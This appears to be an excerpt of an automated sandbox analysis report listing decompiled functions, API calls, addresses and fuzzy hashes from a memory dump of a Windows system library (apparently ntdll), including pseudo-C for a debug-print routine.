0x6a9e3015
0x6a9e3010
0x6a9e3010
0x6a9e3010
0x6a9e3010
0x6a9e300e
0x6a9e302c
0x6a9e3035
0x6a9e303c
0x6a9e3046
0x6a9e304e
0x6a9e3056
0x6a9e305a
0x6a9e305e
0x6a9e3063
0x6a9e3067
0x6a9e306b
0x6a9e306f
0x6a9e3072
0x6a9e30af
0x6a9e30b5
0x6a9e30c1
0x6a9e30c9
0x6a9e30c9
0x6a9e30c9
0x00000000
0x6a9e3074
0x6a9e3081
0x6a9e3089
0x6a9e308b
0x6a9e308d
0x6a9e3093
0x6a9e309a
0x6a9e30ce
0x6a9e30d1
0x6a9e30d5
0x6a9e30d5
0x6a9e30d5
0x6a9e308d
0x6a9e30db
0x6a9e30e6
0x6a9e30e7
0x6a9e30e8
0x6a9e30e9
0x6a9e30f3
0x6a9e2f27
0x6a9e2f29
0x6a9e2f2b
0x6a9e2f2d
0x6a9e2f36
0x6a9e2f3d
0x6a9e2f4c
0x6a9e2f58
0x6a9e2fad
0x6a9e2fb7
0x6a9e2fb7

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6A9DB632,?,00000000), ref: 6A9E303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6A9DB632,?,00000000), ref: 6A9E3049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6A9DB632,?,00000000), ref: 6A9E305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6A9E3081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6A9E30AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6A9E30DB

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 91a19aef89726edcc383d403f76e2ee0e0e71d2a0cdf7253cc3db3d3d2f5f68d
Instruction ID: 2c58d136b8c9fd7a46d6d967bc4e51d675be63fa74ee3e1915ca7943b33a4b49
Opcode Fuzzy Hash: 91a19aef89726edcc383d403f76e2ee0e0e71d2a0cdf7253cc3db3d3d2f5f68d
Instruction Fuzzy Hash: 015108326042158FC705CF2AC89156BFBE5FF89325B16866AE894DB286DF34DC16CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6A91B171, Relevance: 9.2, APIs: 6, Instructions: 166
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A91B171(signed short __ebx, void* __ecx, void* __edx, void* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				int _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				void* _t106;
				void* _t110;
				int _t111;
				void* _t114;
				void* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x6a9ef7a8);
				E6A96D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *(_t114 - 0x84) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E6A96D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E6A95D000(0x80);
						 *(_t114 - 0x18) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *(_t114 - 0x84);
						_t110 = _t106;
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						memcpy(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t108 + _t111;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *(_t114 - 0x5c) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E6A96DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E6A95B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E6A95B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E6A95E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E6A95A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x6a91b171
0x6a91b171
0x6a91b171
0x6a91b171
0x6a91b171
0x6a91b176
0x6a91b17b
0x6a91b180
0x6a91b186
0x6a91b18f
0x6a91b198
0x6a91b1a4
0x6a91b1aa
0x6a974802
0x6a974802
0x6a974805
0x6a97480c
0x6a97480e
0x6a91b1d1
0x6a91b1d3
0x6a91b1de
0x6a91b1de
0x6a974817
0x6a97481e
0x6a974820
0x6a974822
0x6a974822
0x6a974824
0x6a974824
0x6a97482a
0x00000000
0x00000000
0x6a974835
0x6a97483a
0x6a97483d
0x6a97483f
0x6a974842
0x6a974842
0x6a974842
0x6a974846
0x6a97484c
0x6a97484e
0x6a974851
0x6a974851
0x6a974853
0x6a974854
0x6a974854
0x6a974858
0x6a97485a
0x6a97485a
0x6a97485d
0x6a97485f
0x6a974861
0x6a974861
0x6a974866
0x6a97486b
0x6a97486e
0x6a974871
0x6a974876
0x6a974876
0x6a974878
0x6a97487b
0x6a974884
0x6a974884
0x00000000
0x6a97487d
0x6a97487d
0x6a974882
0x6a974889
0x6a974889
0x6a97488f
0x6a974891
0x6a9748e0
0x6a9748e2
0x6a9748e4
0x6a9748e4
0x6a9748e7
0x6a9748e7
0x6a9748ed
0x6a9748f4
0x6a9748f6
0x6a974951
0x6a974951
0x6a974953
0x6a974953
0x6a974956
0x6a974956
0x6a974958
0x6a974959
0x6a974959
0x6a97495d
0x6a97495d
0x6a97495f
0x6a97495f
0x6a974965
0x6a974969
0x6a9749ba
0x6a9749ba
0x6a9749c1
0x6a9749c5
0x6a9749cc
0x6a9749d4
0x6a9749d7
0x6a9749da
0x6a9749e4
0x6a9749e5
0x6a9749f3
0x6a974a02
0x00000000
0x6a974a02
0x6a974972
0x6a974974
0x00000000
0x00000000
0x6a974976
0x6a974979
0x6a974982
0x6a974983
0x6a974984
0x6a97498b
0x6a97498d
0x6a974991
0x6a974993
0x6a974999
0x6a97499d
0x6a9749a2
0x6a9749a2
0x6a9749a2
0x6a974999
0x6a9749ac
0x00000000
0x6a9749b3
0x6a9748f8
0x6a9748fe
0x00000000
0x00000000
0x00000000
0x6a9748fe
0x6a974895
0x6a97489c
0x6a9748ad
0x6a9748b2
0x6a9748b5
0x6a9748b7
0x6a9748ba
0x6a9748bc
0x6a9748c6
0x6a9748c6
0x6a9748cb
0x6a9748d1
0x6a9748d4
0x6a9748d8
0x6a9748d8
0x00000000
0x6a9748d8
0x6a9748be
0x6a9748c0
0x00000000
0x00000000
0x6a9748c2
0x00000000
0x00000000
0x00000000
0x6a9748c4
0x00000000
0x6a974882
0x6a97487b
0x6a974904
0x6a974906
0x00000000
0x00000000
0x6a974908
0x6a97490e
0x00000000
0x00000000
0x6a974910
0x6a974917
0x6a974917
0x00000000
0x6a974917
0x6a91b1ba
0x6a9747f9
0x6a9747fc
0x00000000
0x00000000
0x00000000
0x6a9747fc
0x6a91b1c0
0x6a91b1c0
0x6a91b1c3
0x6a91b1cb
0x00000000
0x00000000
0x00000000

APIs

ZwQueryDebugFilterState.1105(?,6A95B627,6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627,Invalid parameter passed to C runtime function.), ref: 6A91B1C4
_alloca_probe_16.1105(6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627,Invalid parameter passed to C runtime function.), ref: 6A974835
memcpy.1105(?,?,?,6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627), ref: 6A974866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6A95B627), ref: 6A9748AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6A95B627,6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627,Invalid parameter passed to C runtime function.), ref: 6A974986

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: fb85bbddc0a0c74ec9bc672c0cafbc4d1eb609c632de85af5427c36373abe620
Instruction ID: 130bdf5603ac6a3ce4a15ea3d0bdf48f79d5fec9640490c3755417fdb6f6857f
Opcode Fuzzy Hash: fb85bbddc0a0c74ec9bc672c0cafbc4d1eb609c632de85af5427c36373abe620
Instruction Fuzzy Hash: 9A51E271D042598FDB31CF64C845BAEBBB5BF45714F3181A9D8689B283DB30C9418FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E740D, Relevance: 9.1, APIs: 6, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?,00000000,00000066,00000000), ref: 6A9E743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?,00000000,00000066,00000000), ref: 6A9E7464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?), ref: 6A9E7484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6A9E74AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?), ref: 6A9E7527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6A9E7546

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 3f1ee9581a868882ae63da327912898e8e6b2013c2ae6f9482644ec9c500590f
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: EC516D71640606EFDB16CF58C480A46BBF9FF45309F2581AAE9089F253EB71E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A920100, Relevance: 9.1, APIs: 6, Instructions: 122nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA0861C,6A9EF848,0000001C,6A91F66C,?,00000000,6AA052D8), ref: 6A920120
ZwUnmapViewOfSection.1105(000000FF,?,6AA0861C,6A9EF848,0000001C,6A91F66C,?,00000000,6AA052D8), ref: 6A9201AF
ZwClose.1105(?,000000FF,?,6AA0861C,6A9EF848,0000001C,6A91F66C,?,00000000,6AA052D8), ref: 6A9201BD

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: cdd5e66de8c261c49f9d1be72e5cca8719e08fd9ab071f360f2204ad4eacd76c
Instruction ID: 87e2417cc529d5735874e940a4ea69ef0430c68ff02e05d2f4f95782accb84f9
Opcode Fuzzy Hash: cdd5e66de8c261c49f9d1be72e5cca8719e08fd9ab071f360f2204ad4eacd76c
Instruction Fuzzy Hash: 1A41BE31955714DFEF61CF68C8A479A7BB4BF16318F21416AD420AB396DB70CD82CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A995623, Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6A98E4BC,6A9F03D0,0000000C,6A989687,00000000,00000000,00000001,?,?,7FFE0386,?,6A916778,00000001), ref: 6A995628
RtlGetCurrentServiceSessionId.1105 ref: 6A995661
RtlTryEnterCriticalSection.1105(6AA05350,00000000,00000002,?,6A98E4BC,6A9F03D0,0000000C,6A989687,00000000,00000000,00000001,?,?,7FFE0386,?,6A916778), ref: 6A99569B
RtlGetCurrentServiceSessionId.1105(6AA05350,00000000,00000002,?,6A98E4BC,6A9F03D0,0000000C,6A989687,00000000,00000000,00000001,?,?,7FFE0386,?,6A916778), ref: 6A9956A2
RtlGetCurrentServiceSessionId.1105 ref: 6A9956D2
RtlGetCurrentServiceSessionId.1105 ref: 6A99572F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: df8ee21c36b968ec3fe5458770126e896bb9d1649c51d6feabd4098ac92e12af
Instruction ID: 3033edb5c7ac0e7fd092ac1db0642057bbe3032aa2d5368e20aa47ec052834cc
Opcode Fuzzy Hash: df8ee21c36b968ec3fe5458770126e896bb9d1649c51d6feabd4098ac92e12af
Instruction Fuzzy Hash: 4B317631645691FFEB228728DE58B153FD9AB01775F3E0390E9308B6E2DF68D544C211

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C3D40, Relevance: 9.1, APIs: 6, Instructions: 98memorytimeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3D7A
RtlReleaseSRWLockExclusive.1105(6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3DA1
RtlDebugPrintTimes.1105(?,?,6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000), ref: 6A9C3DB0
RtlAcquireSRWLockExclusive.1105(6AA08A6C,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3DC6
RtlReleaseSRWLockExclusive.1105(6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3E1A
RtlFreeHeap.1105(?,00000000,6AA08A6C,6AA08A6C,6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA), ref: 6A9C3E4E

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID:
API String ID: 1017367878-0
Opcode ID: cffd6ff19846ec8b02dac4fe48460e14637fd5659345a2841ca8e3aa9d015a67
Instruction ID: dbcd3c61fca986411057ccc57b44aec04d037893980c22174a80a7275b2899ff
Opcode Fuzzy Hash: cffd6ff19846ec8b02dac4fe48460e14637fd5659345a2841ca8e3aa9d015a67
Instruction Fuzzy Hash: E93152B1509302DFC700DF24D58094AFBF5BF8A218F56896EE4998B241EB30E905CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DA189, Relevance: 9.1, APIs: 6, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA06220,00000000,?,?,?), ref: 6A9DA1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6AA06220,00000000,?,?,?), ref: 6A9DA1E8
RtlReleaseSRWLockExclusive.1105(6AA06220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6AA06220,00000000,?,?,?), ref: 6A9DA252

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: 2cf657b495ca6b770c241aa06bfda2035ba24c4f48ba503f097827b1397c7396
Instruction ID: b396e8555ff94fddc9ef037c243bcb6843192aa46edcdd7759bf339c480893cb
Opcode Fuzzy Hash: 2cf657b495ca6b770c241aa06bfda2035ba24c4f48ba503f097827b1397c7396
Instruction Fuzzy Hash: 1C313831A00A06EFCB119F99D840B5EBBB8EF55718F21806AE615DBB60DF70CD818B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F7C0, Relevance: 9.1, APIs: 6, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F7F5
RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F860

Part of subcall function 6A91F8C8: RtlAcquireSRWLockExclusive.1105(6AA086AC,00000058,?,00000030,6A91F813,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000), ref: 6A91F8D5
Part of subcall function 6A91F8C8: RtlRbRemoveNode.1105(6AA086DC,00000030,6AA086AC,00000058,?,00000030,6A91F813,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000), ref: 6A91F8E0
Part of subcall function 6A91F8C8: RtlReleaseSRWLockExclusive.1105(6AA086AC,6AA086DC,00000030,6AA086AC,00000058,?,00000030,6A91F813,00000058,00000000,00000000,00000000,?,6A9876A7,?,?), ref: 6A91F8EE

RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F814
ZwClose.1105(?,00000058,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F82E
RtlSetLastWin32Error.1105(00000006,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F867

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: 1a9d77f748ba12f6454bfe3d77abf47f9b87824f8910d996bc05556e2cee0010
Instruction ID: c7844b08d929f0a9f5b21665c090494ce84942f63cd72f4bb325b67e4f241ec0
Opcode Fuzzy Hash: 1a9d77f748ba12f6454bfe3d77abf47f9b87824f8910d996bc05556e2cee0010
Instruction Fuzzy Hash: 4E11B63621820D9BEB519F10C8C0BAA3379FF95B1CFA141AADD164F146DF30DC828760

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A1242, Relevance: 9.0, APIs: 6, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

ZwUnmapViewOfSection.1105(000000FF,?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?), ref: 6A9A124C
ZwClose.1105(?,000000FF,?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000), ref: 6A9A125A
ZwClose.1105(?,000000FF,?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000), ref: 6A9A1267
ZwClose.1105(?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?,00000000), ref: 6A9A1275
ZwClose.1105(?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?,00000000), ref: 6A9A1286
ZwClose.1105(?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?,00000000), ref: 6A9A1297

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$SectionUnmapView
String ID:
API String ID: 682624529-0
Opcode ID: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction ID: 429eb3cfeb37ce5be3d381e05d5cef2687b5011911b7322aaee5b2dfd0db219f
Opcode Fuzzy Hash: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction Fuzzy Hash: 00F0F9B4D1120CAEEF05DFB0D88979DBB35AF21218F32012AE922611A1DF70C9A1CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6A914439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

0, xrefs: 6A9144A3
Flst, xrefs: 6A914476

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: d0d54ddefbcf3691ae2749ff23ae4dd1085bf9186193d127efe36e6fba601749
Instruction ID: d869ebc7fd1ff8792c5880a101744101bd07689165ed3c230cf65cdf1b930b6e
Opcode Fuzzy Hash: d0d54ddefbcf3691ae2749ff23ae4dd1085bf9186193d127efe36e6fba601749
Instruction Fuzzy Hash: B0416DB1A04648CFDB24CF99C58479DFBF9EF88318F20802AD05A9B681DB35D945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A94D294, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93memorynativefileCOMMON

Download Yara Rule

APIs

ZwQueryAttributesFile.1105(?,?,?,?), ref: 6A94D313
RtlFreeHeap.1105(?,00000000,?,?,?,?,?), ref: 6A94D330
